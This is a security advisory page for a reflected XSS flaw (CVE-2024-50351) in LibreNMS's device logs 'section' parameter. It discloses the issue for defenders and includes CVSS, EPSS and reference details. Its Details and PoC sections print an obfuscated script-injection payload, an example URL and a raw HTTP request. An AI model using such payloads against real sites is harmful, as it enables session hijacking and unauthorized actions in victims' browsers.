Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS12N3c5LTYzeGgtNnIzd84ABBZD

LibreNMS has a Reflected XSS ('Cross-site Scripting') in librenms/includes/functions.php

Summary

A Reflected Cross-Site Scripting (XSS) vulnerability in the "section" parameter of the "logs" tab of a device allows attackers to inject arbitrary JavaScript. This vulnerability results in the execution of malicious code when a user accesses the page with a malicious "section" parameter, potentially compromising their session and enabling unauthorized actions. The issue arises from a lack of sanitization in the "report_this()" function.

Details

The "section" parameter of the "logs" tab is vulnerable to reflected XSS. An attacker can inject the following XSS payload into the "section" parameter:
<script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<%2fscript>

When the page is loaded with this malicious parameter, the script executes immediately. This vulnerability occurs due to the lack of sanitization in the "report_this()" function. Other endpoints using this same function may also be vulnerable.

The vulnerable sink is located here:
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/functions.php#L523
https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/device/logs.inc.php#L93

PoC

1. Inject the following payload into the "section" parameter of the "logs" tab:
   <script>constructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();<%2fscript>
2. Access the page with the injected payload.
3. Observe that the injected script executes when the page is loaded.

Example URL: http://<your_url>/device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/

Example Request:

GET /device/device=1/tab=logs/section=%3Cscript%3Econstructor['constructor'](atob('Y29uZmlybShkb2N1bWVudC5kb21haW4p'))();%3C%2fscript%3E/ HTTP/1.1
Host: <your_host>
Cookie: <your_cookie>

Impact

This vulnerability allows attackers to execute arbitrary JavaScript in the context of a user’s session by crafting a malicious URL. The attack could lead to session hijacking, unauthorized actions, or further exploitation by injecting malicious scripts.

Permalink: https://github.com/advisories/GHSA-v7w9-63xh-6r3w
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12N3c5LTYzeGgtNnIzd84ABBZD
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 1 month ago
Updated: 16 days ago

CVSS Score: 7.5
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L

EPSS Percentage: 0.00045
EPSS Percentile: 0.1561

Identifiers: GHSA-v7w9-63xh-6r3w, CVE-2024-50351
References:

• https://github.com/librenms/librenms/security/advisories/GHSA-v7w9-63xh-6r3w
• https://github.com/librenms/librenms/commit/6a14a9bd767c6e452e4df77a24126c3eeb93dcbf
• https://nvd.nist.gov/vuln/detail/CVE-2024-50351
• https://github.com/advisories/GHSA-v7w9-63xh-6r3w

Repository: https://github.com/librenms/librenms
Blast Radius: 2.3

Affected Packages